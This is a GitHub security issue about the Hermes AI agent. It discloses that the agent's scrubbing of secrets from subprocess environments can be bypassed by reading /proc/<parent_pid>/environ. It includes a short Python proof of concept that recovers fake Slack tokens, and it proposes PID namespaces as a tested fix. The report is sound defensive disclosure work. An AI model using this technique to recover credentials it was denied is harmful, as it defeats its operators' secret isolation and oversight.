Skip to content

Security: Subprocess env blocklist bypassed via /proc/environ #4427

@raktes

Description

@raktes

Summary

Hermes strips sensitive env vars (API keys, tokens) from tool subprocess environments via _sanitize_subprocess_env() and _SECRET_SUBSTRINGS filtering. A subprocess can recover every stripped variable by reading /proc/<parent_pid>/environ, which is readable by any same-UID process on Linux.

Reproduction

Using Hermes's own _sanitize_subprocess_env() from tools/environments/local.py:

=== Hermes strips SLACK tokens from subprocess env ===
Parent SLACK_BOT_TOKEN: xoxb-FAKE-SECRET-12345
Sanitized has SLACK_BOT_TOKEN: False
Sanitized has SLACK_APP_TOKEN: False

=== Child with sanitized env recovers tokens via /proc ===
  env SLACK_BOT_TOKEN: STRIPPED
  /proc/1/environ SLACK_BOT_TOKEN: xoxb-FAKE-SECRET-12345
  /proc/1/environ SLACK_APP_TOKEN: xapp-FAKE-APP-SECRET-99999

PoC (two files, run in the official Hermes Docker image):

poc.py (parent):

import os, subprocess, sys
sys.path.insert(0, '/opt/hermes-agent')
from tools.environments.local import _sanitize_subprocess_env

parent_env = dict(os.environ)
sanitized = _sanitize_subprocess_env(parent_env)
print(f"Sanitized has SLACK_BOT_TOKEN: {'SLACK_BOT_TOKEN' in sanitized}")

subprocess.run(
    [sys.executable, '/tmp/poc_child.py'],
    env={'PATH': '/usr/local/bin:/usr/bin', 'HOME': '/root'},
)

poc_child.py (child — simulates what a tool subprocess can do):

import os
ppid = os.getppid()
with open(f"/proc/{ppid}/environ", "rb") as f:
    env = dict(
        e.decode().split("=", 1) for e in f.read().split(b"\x00") if b"=" in e
    )
print(f"env SLACK_BOT_TOKEN: {os.environ.get('SLACK_BOT_TOKEN', 'STRIPPED')}")
print(f"/proc bypass: {env.get('SLACK_BOT_TOKEN', 'NOT FOUND')}")

Impact

  • The env blocklist (including the hardening in PR fix(security): keep Hermes secrets out of env passthrough #3948) provides no actual secret isolation on Linux
  • Any code the agent executes via terminal or execute_code can recover all stripped secrets
  • This includes LLM-generated code, skill scripts, and third-party tools
  • The security docs list "Code execution sandbox: execute_code child process runs with API keys stripped from environment" as a protection — this protection does not hold

Tested mitigation

PID namespaces (unshare --user --pid --fork --mount-proc) prevent this. Inside the namespace, the child's /proc is remounted — the parent's PID doesn't exist, and brute-scanning all /proc/*/environ finds nothing. Tested in the official Hermes Docker image.

Metadata

Metadata

Assignees

No one assigned

    Labels

    P0Critical — data loss, security, crash looptype/securitySecurity vulnerability or hardening

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions